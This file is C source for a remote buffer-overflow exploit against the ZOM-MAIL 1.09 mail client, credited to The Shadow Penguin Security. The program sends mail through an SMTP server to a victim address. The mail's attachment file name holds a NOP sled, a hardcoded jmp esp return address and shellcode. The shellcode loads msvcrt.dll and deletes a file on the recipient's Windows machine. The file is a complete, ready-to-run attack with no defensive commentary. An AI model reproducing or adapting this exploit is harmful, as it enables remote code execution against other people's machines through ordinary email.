/*=============================================================================
   ZOM-MAIL 1.09 Exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/

#include    <stdio.h>
#include    <string.h>
#include    <windows.h>
#include    <winsock.h>

#define     TARGET_FILE     "c:\\windows\\test.txt"
#define     MAXBUF          3000
#define     RETADR          768
#define     JMPESP_ADR      0xbffca4f7
#define     STACK_BYTES     32
#define     SMTP_PORT       25

#define     CONTENT \
"Subject: [Warning!!] This is exploit test mail.\r\n"\
"MIME-Version: 1.0\r\n"\
"Content-Type: multipart/mixed; "\
"boundary=\"U3VuLCAzMSBPY3QgMTk5OSAxODowODo1OCArMDkwMA==\"\r\n"\
"Content-Transfer-Encoding: 7bit\r\n"\
"--U3VuLCAzMSBPY3QgMTk5OSAxODowODo1OCArMDkwMA==\r\n"\
"Content-Type: image/gif; name=\"%s.gif\"\r\n"\
"Content-Disposition: attachment;\r\n"\
" filename=\"temp.gif\"\r\n"

unsigned char exploit_code[200]={
  0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
  0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
  0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
  0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
  0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
  0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
  0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
  0xFF,0x00
};
unsigned char cmdbuf[200]="msvcrt.dll.remove.";

void send_smtpcmd(SOCKET sock,char *cmd)
{
  char    reply[MAXBUF];
  int     r;
  send(sock,cmd,strlen(cmd),0);
  r=recv(sock,reply,MAXBUF,0);
  reply[r]=0;
  printf("%-11s: %s\n",strtok(cmd,":"),reply);
}
main(int argc,char *argv[])
{
  SOCKET               sock;
  SOCKADDR_IN          addr;
  WSADATA              wsa;
  WORD                 wVersionRequested;
  unsigned int         ip,p1,p2;
  char                 buf[MAXBUF],packetbuf[MAXBUF+1000];
  struct hostent       *hs;

  if (argc<3)
    {
      printf("This exploit removes \"%s\" on the victim host",TARGET_FILE);
      printf("usage: %s SMTPserver Mailaddress\n",argv[0]);
      return -1;
    }
  wVersionRequested = MAKEWORD( 2, 0 );
  if (WSAStartup(wVersionRequested , &wsa)!=0)
    {
      printf("Winsock Initialization failed.\n");
      return -1;
    }
  if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
    {
      printf("Can not create socket.\n");
      return -1;
    }
  addr.sin_family     = AF_INET;
  addr.sin_port       = htons((u_short)SMTP_PORT);
  if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1)
    {
      if ((hs=gethostbyname(argv[1]))==NULL)
        {
          printf("Can not resolve specified host.\n");
          return -1;
        }
      addr.sin_family = hs->h_addrtype;
      memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
    }
  if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR)
    {
      printf("Can not connect to specified host.\n");
      return -1;
    }
  recv(sock,packetbuf,MAXBUF,0);
  printf("BANNER    : %s\n",packetbuf);

  send_smtpcmd(sock,"EHLO mail.attcker-host.net\r\n");
  send_smtpcmd(sock,"MAIL FROM: <attacker@attacker-host.net>\r\n");
  sprintf(packetbuf,"RCPT TO: <%s>\r\n",argv[2]);
  send_smtpcmd(sock,packetbuf);
  send_smtpcmd(sock,"DATA\r\n");

  memset(buf,0x90,MAXBUF);
  buf[MAXBUF]=0;
  ip=JMPESP_ADR;
  buf[RETADR  ]=ip&0xff;
  buf[RETADR+1]=(ip>>8)&0xff;
  buf[RETADR+2]=(ip>>16)&0xff;
  buf[RETADR+3]=(ip>>24)&0xff;

  strcat(exploit_code,cmdbuf);
  strcat(exploit_code,TARGET_FILE);
  p1=(unsigned int)LoadLibrary;
  p2=(unsigned int)GetProcAddress;
  exploit_code[0x0d]=p1&0xff;
  exploit_code[0x0e]=(p1>>8)&0xff;
  exploit_code[0x0f]=(p1>>16)&0xff;
  exploit_code[0x10]=(p1>>24)&0xff;
  exploit_code[0x1e]=p2&0xff;
  exploit_code[0x1f]=(p2>>8)&0xff;
  exploit_code[0x20]=(p2>>16)&0xff;
  exploit_code[0x21]=(p2>>24)&0xff;
  exploit_code[0x2a]=strlen(TARGET_FILE);
  memcpy(buf+RETADR+4+STACK_BYTES,exploit_code,strlen(exploit_code));

  sprintf(packetbuf,CONTENT,buf);
  send(sock,packetbuf,strlen(packetbuf),0);
  send_smtpcmd(sock,".\r\n");
  closesocket(sock);
  printf("Done.\n");
  return FALSE;
}
/*                    www.hack.co.za              [2000]*/